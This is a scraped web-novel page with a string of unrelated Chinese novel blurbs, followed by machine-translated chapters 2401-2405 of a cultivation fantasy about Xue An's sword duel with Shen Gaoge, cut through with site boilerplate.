smiled. This year, her appearance has not been destroyed by her step-brother, her glory has not been stolen by her step-sister, and everything that belongs to her has not been taken away. It must be very interesting to do it again, with grievances and grievances, and revenge. ...After Ning Li was kicked out of the Ye family. The best in the entertainment industry solo: Sister, this stage and me belong to you. Top international racers: Who bullies our captain? Heir of the Top Luxury Group: My dear, I have picked some small gifts for you. Do you want to buy another villa and store it? Father with so much money: Come back and inherit the family property! Lu Er Shao squeezed her face and whispered to coax: Wait a minute, little ancestor will go home with me first. ... Rumor has it that Lu Er Shao''s appearance is exquisite, the flower of Gaoling. Until one day, someone saw a hand-painted piece of Lu Er Shao''s book, with short hair on the paper covering his eyes, and a cold and aloof silhouette. Overnight, the whole city is boiling! The next day, Lu Er Shao was blocked. Ning Li, who happened to be passing by, thought of the little affection in her previous life, and without a word, went up and beat everyone up. She patted him on the shoulder: "No thanks." Lu Huai and looking at the little girl in front of them calmly hid the love letter they had just received in their hands, and laughed: "Saving grace, we should repay you with your body. "A long time later, Ning Li looked at herself on the sketch and was silent for a long time. "...The misunderstanding is big..." Fubaiqu is willing to hire Shanhe [This article has been signed and published in simplified Chinese, and you can pay attention to Weibo for details. The original name is "I want to be a widow every day after I marry a tyrant", The cover comes from the radio drama poster] The next edition of "After Marrying Cthulhu" has been opened. [Text Copy] Qin Wangji is the more fearful tyrant of the Seven Kingdoms, but there is such a person, with a weak grace and a handsome face, and dare to do majestic blessings in front of him. The young emperor looked down at the beautiful young man, and a cold dagger against his neck, his words seemed frozen. "Wei Lian, do you want to rebel?" Wei Lian smiled, and touched his lips affectionately: "If you treat me well, I will serve the emperor. If you treat me badly, I will kill the emperor."_��Gu Xieyi I wonder if your Majesty is willing to marry the country? -Willing to hire by Shanhe. 1. External violence, no way to attack vs. black belly and calm beauty 2. Sweet text HE, non-serious drama 3 Fantasy and fantasy people in the navy full of beauty [Detection object: Karp] [Can be attacked, expected success reward: 40 Ten Thousand Points] [Remarks: Although you don��t know how crazy you are to detect an empty-nest old man who picks up booger every day, there is no doubt that you will get an amazing amount from the strategy of this great naval hero. Points Reward] Happiness! Nuoxia closed the property panel blankly, thinking that something must be wrong with this silly system. There is a limit to joking, bastard! ��When you are going all-out toward your dream of becoming a navy powerhouse, the plug-in you accidentally obtained is called the Love Cell Culture System. You can get points rewards if you succeed in the strategy! "My Norxia can have today, no foreign objects, all by my own efforts!" On the top of the battlefield, facing the menacing Whitebeard Pirates group, Norxia looked calm and his eyes were cold. "Dark blue, add some!" (Reasonable text to the harem, limited female protagonist, not brainless stallion, dog food plot is only an adjustment) The only magician world in the world of martial arts cultivation history collides, urban youth in the 21st century are accidentally caught A took a moment, gained the power of magic, and traveled to the Sui and Tang Dynasties. Li Mi was buried in front of Wagangzhai. Outside Changbai Mountain, the grass and trees are all cut down by soldiers. Outside Jiangdu City, Thunder Heaven punishes Wang Shichong. In the vast grassland, the army of bones swept across the grassland tribe, and it was Bi Khan for the third time. Before the Weishui League, 100,000 Turkic cavalry were frozen. Outside Luoyang city, Yang Guang, the emperor of UU reading gambling-everything grows in cold winter, who is flying in the world with snow in June. In front of the Xuanwu Gate, in the sky on the second day, I practiced Chang''an for thousands of miles on the ground. Ma Weipo came back from the dead, forbidden curse to return to the sky to continue the fragrance of the soul. Light emperor, Mie Gonghou. The dynasty is Tian Shelang, and the evening enters the emperor hall. Why does Tubo fly snow in June? Why is the grassland drought in ten years? This is the story of a magician who came to the Sui and Tang dynasties. Just after crossing the world of the Great Sui Dynasty, I woke up with the dream of the old man Zhai''s urban ability, historical military empire, and he was a prince. In this world where nations are contending for hegemony and the weak are preying on the weak, Liu Jun is ready to lead his people on the road of empire glory... He is the dawn of LPL in the almighty mid laner of the online game athletic league! He can reach the top of the world suit in one month with a very high winning rate of 70! His Yasuo makes all mid laners feel terrified and will always occupy a ban position! He can use 24 different heroes in a row to make a winning streak! He also has a host girlfriend! Fans call him almighty mid laner, eternal god! The heroine of Science Fiction Mysterious Quick Wear is a little dull man holding her face: "You are my little daughter-in-law, I can only kiss you, remember?" Achan''s head tilted, little daughter-in-law ? n "Oh." Achan nodded blankly, asking all questions about the sea, what does the little wife mean? n Unexpectedly, the man''s eyes dimmed, bowing his head and approaching... n The system suddenly exploded: Dumb treasure! No! The dog man wanted to take advantage of you and killed him... Ciao, actually blocked it! n Dog man, bullying a little nerd with a low IQ, it''s crazy! n--nYaoguang Xianjun has raised a small flower bone that can be considered open-minded for three thousand years, a bit dull. Once he was sent into the Three Thousand Small World, Xianjun had only one explanation-to protect her to the end. n System: Complete the task to the death! n Take care of her, bless her, don''t ask her to be extremely smart, but ask her to live a hundred years, and satisfy her with everything she wants. n Even if she is going to find a man other than Xianjun...n Xianjun:...Haha!

 Chapter 2401： The Battle of the World

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    Si Guangzhong was not stupid, and he wanted to understand the joints in an instant.


    And this also made him tremble and cold.


    "Brother, no..."


    puff!


    A huge wound suddenly appeared in his throat blocked all the words behind him.


    With blood splashing, Si Guangzhong''s eyes quickly dimmed.


    As a member of the Si family, Si Mingqi naturally understood how to do it forever, so this time Si Guangzhong lost the luck of the last rebirth of the ancestral land, so he was completely destroyed.


    After finishing all this, Si Mingqi did not leave immediately, but sorted out the scene, and forged a false impression that Si Guangzhong was killed by the aftermath of sword energy.


    Although he knew that there was a high probability that no one would watch the scene, and it might even be destroyed by the aftermath of the battle in the next second, but to be on the safe side, he did it anyway.


    After disguising the scene, he looked up at the sky in awe, and then left quietly.


    This small episode did not attract anyone''s attention, because everyone''s eyes were attracted by this epic battle in the sky.


    At this moment, the battle is getting fierce.


    The naked eye alone can no longer distinguish the two criss-crossing lines in the sky that collide with each other from time to time, which one is Xue An and which is Shen Gaoge.


    Suddenly.


    Two sword lights stagnated in the sky, and the figures inside appeared.


    I saw Xue An and Shen Gaoge standing opposite each other, the swords in their hands clinging to each other, and they were in a stalemate.


    The audience quieted down instantly.


    Because even people who don''t know swords anymore know that this seemingly ordinary confrontation at this moment is actually countless times more dangerous than the magnificent battle just now.


    Because this is a pure sword intent competition, a little carelessness will result in the broken heart of the sword and the loss of body and soul.


    Seeing this scene, Su Fei, standing in the sky far away, clenched his fists in shock and secretly worked hard for Shen Gaoge.


    And Shen Gaoge lived up to his expectations, the sword in his hand was approaching Xue An little by little.


    Although this process is slow, it is full of tremendous pressure.


    Many people''s hearts instantly mentioned their throats.


    But Xue An didn''t have any expression on his face, but stood there coldly, as if the sword''s edge that was approaching gradually did not exist.


    "Xue An, your sword intent is the most peculiar I have ever seen, but you still lost, because I am the invincible Shen Jia Jianxiu, you surrender now, I can still leave you a ray of soul to go back for trial, if not It will end with no bones left, and it will be too late for you to regret it then."


    Shen Gaoge said coldly.


    This is actually a routine, in order to dissolve Xue An''s fighting spirit.


    But Xue An was completely unmoved, just smiled faintly.


    "The outcome has not yet been determined, how do you know that I have lost?"


    Shen Gaoge snorted coldly, "It seems that you don''t see the coffin or weep, then I will let you see it!"


    With that, Shen Gaoge violently increased the power in his hands.


    Yu Shajian firmly pressed the sword in Xue An''s hand, a little closer to Xue An''s throat.


    But at this very moment, two blazing flames suddenly rose in Xue An''s eyes.


    Immediately afterwards, the space where the gaze passed was ignited by flames.


    The flame color was nearly transparent, silent, and appeared in the air out of thin air. Even the nearest Shen Gaoge didn''t feel the slightest heat.


    But it was this kind of flame that caused Shen Gaoge''s heart to shrink suddenly, and the hairs all over his body were erected, and he felt a strong sense of crisis.


    Almost subconsciously, Shen Gaoge wanted to step back.


    But seeing that he was able to cut Xue An under the sword in the next instant, Shen Gaoge gritted his teeth, and withstood the pressure of the flame, pressing his hands again, trying to cut Xue An down.


    But in the next second, Shen Gaoge suddenly felt that all the pressure was light, and he staggered, almost rushing out.


    After looking at it again, Shen Gaoge was shocked to discover that the flame had spread to the Yu Killing Sword at some point, and in an instant he burned the sword from Chengjian Mountain into nothingness.


    With a puff, Shen Gaoge opened his mouth and spit out a mouthful of blood.


    You must know that as a top sword repairer, this Yu Killing Sword has long been connected to his mind. Now that the Yu Killing Sword is suddenly destroyed, his sword heart has naturally suffered a lot of damage.


    Then Shen Gaoge stepped back abruptly, even completely ignoring his posture.


    Without him, it would be a second later, these flames could kill him.


    In an instant, Shen Gaoge withdrew hundreds of feet away, and after standing still, he began to gasp quickly.


    And this scene also caused an uproar in the audience.


    No one thought that the confrontation just now would end with Shen Gaoge''s fiasco.


    Many people looked at Xue An, who was enveloped in the pure white flame, with awe in their eyes.


    Because from the beginning to the present, the boy in white has displayed two secret skills one after another.


    First, the invincible red lotus sword intent, and then this unmelting flame.


    God knows what powerful hole cards he has in his hand.


    After seeing the flame, the empress who was standing outside the block trembled all over, then she narrowed her eyes and whispered softly.


    "The fire of Zhurong? No, it seems that there are many other flames in it! What a funny kid!"


    Speaking of the last, the voice of the empress was full of relief.


    At this moment, Shen Gaoge slowly raised his head after breathing for a while, his eyes were full of coldness.


    "Why didn''t you just hunt down?"


    Just now his sword heart was on the verge of breaking, so he could only work hard to adjust his breath. If Xue An attacked at that time, he would be seriously injured even if he didn''t die.


    But Xue An did not do that, UU reading www.uukanshu. So he asked aloud.


    Xue An smiled faintly, "There is no reason, I just don''t want to use that method to deal with a sword repairer. After all... the best destination for sword repair is to die under the sword!"


    Shen Gaoge didn''t expect Xue An to answer like this, and he was taken aback for a moment, and then his eyes gradually softened.


    "Thank you!"


    "You''re welcome!"


    Then the two laughed together.


    A feeling of sympathy and sympathy permeated the field for a while.


    But soon, the smile on Shen Gaoge''s face gradually faded, and then he said softly.


    "Xue An, you are indeed a real swordsman, but I won''t let you go because of the incident just now. If you die by my sword then, don''t resent it!"


    When he said this, Shen Gaoge''s expression was extremely solemn.


    Xue An smiled slightly, "If I will resent, then I won''t let you have a chance to adjust your breath just now!"


    Looking at Xue An with a light smile on his face, Shen Gaoge couldn''t help but say.


    "Seriously Xue An, if you are willing to surrender now, I promise you will not be injured. When I return to Shen''s house, I will truthfully report to the above..."


    Invincible, the newest chapter address starts from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s daddy txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2401 The Battle of the World (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2402： Take the rib as the sword Shen Jia Jianxin

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    But before Shen Gaoge finished speaking, Xue An waved his hand, "Needless to say, didn''t I just say it? The best destination for Jian Xiu is to die by the sword, not to surrender! If you think there is still a battle. If you are strong, you can try it!"


    Following Xue An''s indifferent words, the flames burning around him suddenly gathered to form a giant dragon, hibernating behind Xue An, staring coldly at Shen Gaoge.


    This kind of power made Shen Gaoge''s complexion white, but his eyes gradually burst into bright brilliance.


    "If you think I''m joking with you, then you better think about it again!"


    "Don''t think about it, do it!" Xue An said lightly.


    In fact, many people, including those present, didn''t understand what else Shen Gaoge could do.


    He even damaged the sword in his hand, so what else did he use to fight this white-clothed boy?


    This question hovered in the minds of many people.


    As if to respond to these people''s questions, Shen Gaoge took a deep breath, and then slowly nodded.


    "Very well, in that case, then I will give you the respect that a sword repairer deserves!"


    As he spoke, Shen Gaoge suddenly raised his hand and thrust a palm into his chest.


    This action greatly exceeded many people''s expectations.


    What is this for?


    Could it be that this Shen Jiajianxiu couldn''t think about it and planned to commit suicide?


    But just as the crowd was in a commotion, but seeing Shen Gaoge standing there pale, with a pool of blood pouring out, but he didn''t even blink his eyelids, instead he peeked his palms in again.


    Through the shape of the bulging chest, it can be clearly seen that his palms actually clenched into a fist, grabbing one of his ribs abruptly, and then making a violent force.


    Hug.


    There was a muffled noise in Shen Gaoge''s chest, which instantly spread throughout the audience.


    Immediately afterwards, under the gaze of countless pairs of eyes, Shen Gaoge slowly pulled out his palm, holding a crystal clear white rib in his hand impressively.


    Seeing this scene, countless people''s scalps are numb.


    There is no other reason, it is too cruel.


    How much courage and perseverance would it take to break his ribs abruptly and then pull them out of his chest?


    After finishing all this, Shen Gaoge''s complexion has become like a piece of white paper.


    But his pair of eyes are shining like sparks.


    "Xue An, I want you to know that this thing is sent by my Jianxin!"


    As he spoke, but seeing Shen Gaoge gently stroking the ribs in his hands, the originally white ribs instantly began to change shape.


    In an instant it changed from the shape of a bone to a long sword.


    And what changed along with the shape was the sword intent on Shen Gaoge''s body.


    If the previous Shen Gaoge was like an unsheathed sword, now he has become unpretentious.


    Just like the ossified long sword in his hand at this moment, it didn''t even have a blade of blade.


    But just such a change made Xue An''s complexion extremely solemn.


    "Is this the true power of Shen Jia Jianxin?" Xue An said softly.


    As soon as his voice fell, Shen Gaoge had already moved forward and attacked Xue An.


    The words that should be said have been said, and now Shen Gaoge has only one pure thought in his mind, and that is to cut Xue An under the sword.


    For this reason, not only did he break his ribs and refine them into swords, but even his whole person has been transformed into unparalleled sword weapons.


    Sword Slash was silent, not even the slightest wave aroused.


    But this is the performance of the sword intent that has been condensed to the extreme, everything is only for killing the enemy, other than that, even the slightest bit of sword aura has not leaked.


    At this moment, there is only this sword in the sky and the earth, and only this sword!


    Even the empress couldn''t help but be moved, and blurted out: "Good swordsmanship!"


    Xue An didn''t hear this. At this moment, he had focused all his attention on the sword that was about to be cut.


    I saw that his eyes were full of excitement, and the small sword in his hand suddenly violent, directly facing the attacking sword.


    Boom!


    There was a muffled sound.


    Everyone just felt that their heartbeat had stopped for half a beat, and there was a bright white light in front of them.


    how about it?


    What is the result of this sword?


    This idea came to everyone''s mind.


    At the same time, amidst the white light, a figure staggered out, and walked straight for several tens of feet before stopping.


    Everyone looked at it immediately.


    After seeing his face clearly, he couldn''t help but exclaim in a low voice.


    I saw this man dressed in white, it was Xue An.


    It''s just that Xue An''s complexion is gone at this moment, and a puff of blood drips down his wrist, looking shocking.


    The female emperor shook her whole body, and there was an instant anger in her eyes.


    Su Fei was shocked but ecstatic.


    Xue An, you finally lost!


    "Master Empress, do you want to help?" Mo Changhong asked.


    She had long seen the Empress''s concern for Xue An, so she finally couldn''t help asking after seeing Xue An was injured.


    The female emperor''s eyes flickered, and finally she sighed helplessly.


    "It''s too late, the Shen family has become a swordsman, even I have no time to save him!"


    Mo Changhong was shocked when she heard the empress say so.


    Could it be said that Xue An is really dead?


    "Now, everything depends on his good fortune! Because he is the only one who can save him!" The Empress murmured.


    really.


    At this moment, but seeing Shen Gaoge''s figure suddenly flying out of the white light, he cut out another sword in the light of Xue An.


    The power of this sword is actually stronger than the previous one.


    Bang!


    Xue An was shocked again before he even had time to fight back.


    Immediately afterwards, the singer of Shen Gao flipped his wrist and made another sword.


    The third sword carries the prestige of the first two swords, UU reading has a strong sword intent, which can be described as shaking the world.


    Xue An was smashed to the ground abruptly, and several buildings collapsed, before he could barely stop.


    All this happened extremely quickly, but after a while, Shen Gaoge cut three swords in a row.


    As the female emperor said, at this moment, his sword strength is complete, and Xue An has no power to fight back.


    "Finally... still defeated!" Someone sighed lightly.


    "It seems that the myth of Shen Family Jianxiu''s undefeated will continue, no one can break it!" Someone murmured.


    Only Shen Gaoge stood on the nine heavens, with a calm complexion, holding a long sword, and black clothes being hunted by the wind, and shouted coldly.


    "Xue An, are you going to drop or not?"


    Xue An held the ruined wall aside with his hands, and slowly stood up straight.


    Although the white clothes were covered with dust and blood stains, and although he was in an absolute downwind, his eyes were still as clear as water.


    "No drop!"


    "Very well, then you will die!"


    When the words fell, Shen Gaoge raised his sword again and cut directly.


    This sword divides the world and determines Yin and Yang.


    As Feng Rui could reach, Yangcheng County and even the entire planet trembled.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2402 Taking the Rib as the Sword Shen Jia Jianxin (Second)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2403： Armor is complete

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    The female emperor''s complexion changed wildly, and she finally got up and rushed when she gritted her teeth.


    Although she knew that she might not be able to save Xue An, who was already locked by the sword, she could not just watch a Chinese ethnicity live and die in front of her.


    But at this moment, a soft drink suddenly came from the inn that had been silent for a long time.


    "Husband, go on!"


    As soon as the sound came out, the audience vibrated.


    At this moment, let us temporarily rewind time a few minutes ago.


    In that inn, An Yan, Ao Shu, Lou Yingshi, and Zha Wenliang were watching the battle in the sky very solemnly.


    When Xue An has the upper hand, everyone''s hearts will be slightly lowered, but when the situation is reversed, a few people''s hearts will be raised in their throats again.


    Of these, An Yan is naturally the most frightened.


    Although she has been with Xue An through countless ups and downs, she has made her nerves extremely tough.


    But the situation this time is completely different from before.


    Even An Yan, who didn''t understand kendo at all, could tell that Shen Gaoge was definitely an extremely difficult opponent.


    As a result, her heart became tightly clenched.


    It wasn''t until Xue An used flames to refine the Yu Killing Sword in Shen Gao''s singer, she took a sigh of relief, thinking that the battle was finally over.


    After all, how can a swordsman fight without a sword?


    But never expected that this Shen Gaoge would be so persistent.


    He broke one of his ribs as a sword abruptly, and fought Xue An again.


    This time, the situation on the battlefield has undergone tremendous changes. Xue Angan fell into a disadvantage, and Shen Gaoge was beaten back and forth again and again.


    Upon seeing this scene, An Yan could no longer stand.


    "No, I''m going to save my husband!"


    He said he was about to fly up.


    But then Cha Wenliang stopped her.


    "Mrs. Xue, you must not act rashly. It is a death to go up with your strength!"


    "Then what should I do? Do you just stand here and watch your husband get beaten?"


    An Yan became extremely irritable at this time, and roared.


    Cha Wenliang''s face was solemn, "Then you can''t go out, Xue An said clearly when he left, let me look at you, and I believe Xue An is not so easy to lose!"


    But An Yan didn''t pay any attention to this at all, and saw her almost violently roaring: "Quickly get out of me, it''s not your husband, you naturally don''t know that you feel distressed!"


    And it''s not just her, Ao Shu is eager to try and save Brother An.


    Cha Wen was anxious, but at this moment.


    Lou Yingshi suddenly pointed to a room not far away, "Look at it, what''s going on?"


    Everyone turned their heads and looked.


    But I saw that the windows of that house flashed golden light suddenly, and a majestic momentum rushed out of the room.


    Everyone trembled.


    "What''s the matter? Who is in that house?" Cha Wenliang couldn''t help asking.


    An Yan suddenly remembered something, "It''s Xiao Hulu! She is sleeping in this room."


    As soon as the voice fell, a spectacle appeared.


    But seeing that the wall of this house suddenly became transparent, the little gourd who was lying on the bed awake was visible inside.


    It''s just that at this moment, she has already floated into the air, and she is sitting slapped, her eyes closed tightly, and a round of golden light appears in the center of her eyebrows, and the golden light that illuminates the window before is emitted from this.


    "What''s going on?" Ao Shu couldn''t help but wonder.


    Cha Wenliang seemed to have noticed something, and suddenly shouted, "Look at the golden light in her eyebrows!"


    As soon as the voice fell, the golden light between the small gourd''s eyebrows suddenly burst, and there was something faintly rushing out of it.


    This time even An Yan was shocked.


    Because she suddenly felt a familiar and unfamiliar breath.


    Said it was familiar because the breath was very similar to the alchemy armor he had before.


    It is strange because this breath is more than a hundred times stronger than the armor before.


    Just as she was shaking, she saw this little gourd suddenly open her eyes, and then a ball of light flew out of the center of her eyebrows, and went straight to Anyan.


    As soon as Zha Wenliang wanted to stop, An Yan shouted: "No, this is my previous armor!"


    With that said, she reached out and caught the ball of light.


    After starting, she felt her arm sink, and the magnificent image of the latter scene came to mind.


    After seeing this image, An Yan was shocked and looked at Xiao Hulu in disbelief.


    Little Calabash smiled slightly, "This is the armor I returned to you!"


    As he said, Xiao Hulu raised his head to look at Xue An who had just been blasted into the sky in the distance, and said in an innocent tone.


    "Although there is still a lack of an important armor component, it can now be regarded as a whole, and the strength is even more different!"


    As he said, Xiao Hulu lowered his head and said to An Yan, "Aren''t you going to use this to help him? Otherwise, if he delays for a while, I guess he will really lose!"


    Xiao Hulu''s words instantly reminded An Yan.


    She was shocked, and she couldn''t take care of her. She immediately flew up and yelled, "Husband, go on!"


    As she said, she threw the ball of light in her hand vigorously.


    In an instant, the ball of light turned into a golden light and rushed straight to Xue An.


    And this sudden scene also caused a commotion among everyone present.


    Many people shook their heads secretly.


    "It''s useless, he is invincible when the sword is already established. No matter how hard this white-clothed boy struggles, he will have to lose in the end!" Someone said coldly.


    Shen Gaoge did not pursue this golden light either, but stood high in the sky watching with interest.


    But seeing this ball of light rushing to Xue An quickly, then it stopped.


    Xue An was startled slightly, and Xuan even chuckled lightly.


    "Why? Is this here to help me? That''s okay, it saves me more money!"


    With that, Xue An stretched out his hand, and UU read lightly tap the ball of light with his fingertips.


    In an instant, the ball of light burst open like a soap bubble, and the golden light in it spread along Xue An''s fingers, and instantly enveloped Xue An''s entire body.


    Immediately afterwards, a powerful momentum rose into the sky, making everyone moved.


    The empress, who was about to leave, stopped abruptly and said in shock: "This armor..."


    At the same time, but see Xue An stepping out of the golden light.


    With every step taken, the golden light would condense into a piece of armor, attached to Xue An''s body.


    Leg armor, breastplate, hand armor, helmet...


    In the blink of an eye, a piece was extremely exquisite, and there was no seams at all, as if a naturally occurring armor appeared on Xue An.


    Everyone stared dumbfounded.


    At this moment, but seeing Xue An raised his head and smiled slightly.


    "Come again!"


    In an instant, a visor appeared on Xue An''s cheek.


    Along with the visor, there was the small red sword in his hand.


    In the next instant, Xue An jumped and turned into a golden light. With a wave of a small sword in his hand, he slashed Shen Gaoge in the sky.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click the "favorite" below to record the reading record of this time (Chapter 2403 Armor is completed (third update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2404： Headwind

    Chapter 2404


    The speed of this sword is extremely fast, and even before many people can react, Xue An has rushed to the front of Shen Gaoge and cut it down with a sword.


    Shen Gaoge hummed coldly, and turned slightly to avoid the sword in a short time.


    But in the next instant, Xue An, who was standing in front of him, suddenly disappeared. When he reappeared, he had already come behind Shen Gaoge, and he fell with a sword.


    The whole process is extremely smooth and fast, giving no time to think at all.


    If it is an ordinary person, it is estimated that he would kneel at that time.


    But Shen Gaoge is not an ordinary person. As the top sword repairman of the Shen family, his reaction is not unpleasant.


    He flipped his wrist, and the rib sword in his hand pierced directly back.


    The timing and angle of this sword can be described as wonderful to the pinnacle.


    From the perspective of a bystander, it even gives people a feeling that Xue An is actively hitting this sword.


    Although Shen Gaoge didn''t look back, a cold smile appeared at the corner of his mouth, and he was obviously satisfied with his sword.


    But the next second, he couldn''t laugh.


    Because he felt his wrist shook, and then a huge force came from the tip of the sword.


    This shocked him.


    broken!


    He didn''t hide!


    As soon as this thought came out, he didn''t even turn his head back, and tried to dodge when he turned sideways.


    But it was too late at this moment, but seeing that after a hard collision between the body and the rib sword, the Yin Hong small sword in Xue An''s hand was cut down without hesitation, and the goal was directed at Shen Gaoge''s neck.


    Shen Gaoge had to roar, igniting the sword that he had accumulated for a long time, and met Xue An''s sword.


    boom!


    After the two confronted each other, a huge shock wave was triggered, and it spread out in an instant, sweeping away the sky over thousands of miles.


    Shen Gaoge staggered out until he flew out for a few miles before he could stand still. When he looked back again, his complexion became extremely ugly.


    Because Xue An''s sword just consumed all the sword power he had accumulated with hard work.


    That''s why he could completely suppress Xue An before.


    As a result, this huge advantage has disappeared, how can this not make him feel angry.


    But at the same time of anger, he also felt a little fright.


    Because he can be sure that his sword actually stabbed Xue An just now, but why did he have nothing to do?


    At the same time, I saw Xue An gently wipe the armor on his chest.


    In an instant, the armor on his body began to surging with golden light, and then gathered to this incomplete place under the palm of his hand.


    In the blink of an eye, this incomplete place was restored as before, and there was no trace of damage.


    Shen Gaoge''s eyelids jumped in this scene.


    He knows the reason!


    I did stabbing Xue An just now, but the tip of the sword was blocked by the armor on Xue An''s body.


    But the problem was that the rib sword in his hand was transformed by the heart of his own sword, and it was invincible.


    What material of this armor can actually withstand such an attack?


    Shen Gaoge''s eyes gradually became serious.


    Xue An smiled faintly, and then rushed towards Shen Gaoge again with a flash.


    By this time, everything that should be said has been said, and today the two of them can only end if one of them falls.


    So Xue An stopped talking nonsense, and directly launched a fierce attack on Shen Gaoge.


    Suddenly, the sword energy in the sky is crisscrossed, and the rays of light crisscross.


    And Shen Gaoge, who had the upper hand before, has been beaten by Xue Ancheng.


    This situation did not last long, because the real sword repairs often only need one sword to tell the winner.


    Even if Xue An and Shen Gaoge are in special circumstances, it is impossible to keep fighting like this.


    Therefore, in just a moment, the battle in the sky stopped suddenly.


    Then he saw Xue An stepping on Shen Gaoge, and the Yinhong sword in his hand pointed diagonally at his throat.


    And the rib sword in the singer of Shen Gao had broken from it, and his eyes became extremely bleak.


    The whole process seemed complicated, but in fact, it took only a piece of incense from Xue An''s armor to Shen Gaoge''s defeat.


    Seeing this scene, the audience was silent.


    Many people even took a breath of air, eyes full of horror.


    Who could have imagined that the situation would suddenly turn around so big.


    Xue An, who was about to fail miserably, unexpectedly turned against the wind after getting a set of armor, and directly threw this Shen Gaoge down.


    Many people would never believe this is true if they hadn''t seen it with their own eyes!


    After all, Shen Jia Jianxiu''s invincibility has been a myth that has lasted for a long time. In many people''s minds, this is already an iron fact and cannot be questioned.


    But just today, over the Yangcheng County, Xue An personally broke this undefeated golden body.


    Su Fei almost didn''t stare out of surprise, looking at Shen Gaoge who was stepped on by Xue An in the sky, his face turned pale a little.


    Shen Gaoge was actually defeated...what should I do now?


    You must know that before coming, he had never thought about what Shen Gaoge would do if he lost!


    Because in his opinion, that is completely impossible!


    But I never expected that the impossible would happen at this moment.


    And Lian Yuting, who was standing behind Su Fei''s shock, had his eyes flickering.


    He didn''t say a word during the whole process, but stood behind like a background board.


    But this does not hinder the thoughts in his mind.


    Especially now, looking at Xue An, standing in the sky, wearing armor and proud of the world, Lian Yuting unknowingly stepped back a few steps, and slightly distanced Su Fei.


    Of course, this whole process was silent, at least Su Fei was completely unaware of it.


    At the same time, Xue An in the sky looked down at the pale-faced Shen Gaoge, and said lightly: "You lost!"


    Hearing these words, Shen Gaoge''s complexion became very exciting, but soon he gave a cold snort.


    "Yes but I am not convinced. You are only relying on the armor for the benefit. Without this armor, you would already be the soul of my sword!"


    Xue An smiled, "Do you think I can beat you all by this armor?"


    "Isn''t it?" Shen Gaoge sneered.


    But at this moment, in front of Xue An, a faint sword light suddenly appeared.


    This strand of sword light is nearly pure white, clean and flawless, although it is very small, it contains extremely terrifying energy.


    The key is that after it appeared, the rules of heaven and earth seemed to change.


    Shen Gaoge''s eyes widened instantly, "The power of rules?"


    Xue An said lightly: "Yes, this is the sword light that integrates the power of rules. If you think I didn''t have armor just now, but I rely on this sword light to fight with you, what will the outcome be?"


    Shen Gaoge did not speak, but his expression had become extremely ugly.


    (End of this chapter)

 Chapter 2405： Guardian Sword Spirit

    Chapter 2405 Guardian Sword Spirit


    In any case, he did not expect that Xue An''s sword light actually incorporated the power of an extremely rare rule.


    If this is the case, even without this armor, the outcome is unpredictable.


    "What do you have to say now?" Xue An said lightly.


    Shen Gaoge raised his head, his expression gradually restored to calm, "If you lose, you lose. I have nothing to say now. Let''s do it. Give me a decent sword repair!"


    "it is good!"


    Xue An didn''t hesitate, the Yin Hong sword in his hand slammed down.


    No accident happened this time, Xiaojian pierced Shen Gaoge''s throat with a pop.


    What is strange is that although Shen Gaoge''s throat was pierced, he never splashed out any blood.


    Not only that, but at this moment, above Shen Gaoge''s head, there was a magnificent aura rising to the sky, instantly taking control of the entire world.


    "Who dares to hurt my Shen family?"


    A rumbling roar came from the breath.


    Everyone''s complexion changed wherever the sound wave passed.


    "God, it''s the guardian sword spirit of the Shen family!" someone exclaimed.


    The guardian sword spirit is an existence that only depends on the descendants of the Shen family''s bloodline.


    Legend has it that this was left by the sword emperor who founded the Shen Family Foundation in the ancient times, and possesses unpredictable power.


    Once the Shen family''s direct disciple is in danger, the guardian sword spirit will appear.


    This is why the Shen family has been able to maintain the undefeated myth.


    But he didn''t expect that Shen Gaoge also possessed the guardian sword spirit on his body.


    This is a big trouble!


    Many people are secretly worried.


    at the same time.


    Above the sky, a huge ancient sword suddenly emerged.


    Although it is only a virtual image, this ancient sword still possesses a breathtaking coercion.


    At the same time, in that sword body, there was a faint look of a wicked man looking at Xue An glaringly.


    "But are you hurting my Shen family heir?"


    Facing this thunderous questioning, Xue An shook his head indifferently, "No! I didn''t hurt him, I just wanted to kill him!"


    The sword body trembled, and the evil man was obviously already extremely angry.


    "How dare you play Ben Guardian?"


    "Am I playing tricks? I''m just telling a fact, and what I said is okay! We are fighting Jianyi, and now he loses, he is naturally going to die! Could it be that your Shen family only allows victory, not defeat? "Xue An sneered.


    The evil man who was attached to the sword was speechless in a few short words, but soon he roared.


    "Cute teeth, die for me!"


    With that, this giant sword accelerated instantly, and in an instant it cut through the space and came to Xue An.


    This speed can no longer be described as fast, it is simply teleportation.


    But Xue An didn''t even move, just raised his arm willfully.


    Click!


    With a soft sound, the armor on his arm instantly transformed into a shield, just blocking the great sword.


    Huh!


    Accompanied by an extremely ear-piercing sound of gold and iron, countless sparks exploded on the tip of the giant sword. Even so, it was still blocked by this thin shield and could not be deposited.


    This time the whole audience was shocked.


    "This thing can still be used like this!" someone whispered softly.


    But at this moment, the guardian sword spirit became angry from shame.


    Because it really didn''t expect that there would still exist in the world that it could not pierce.


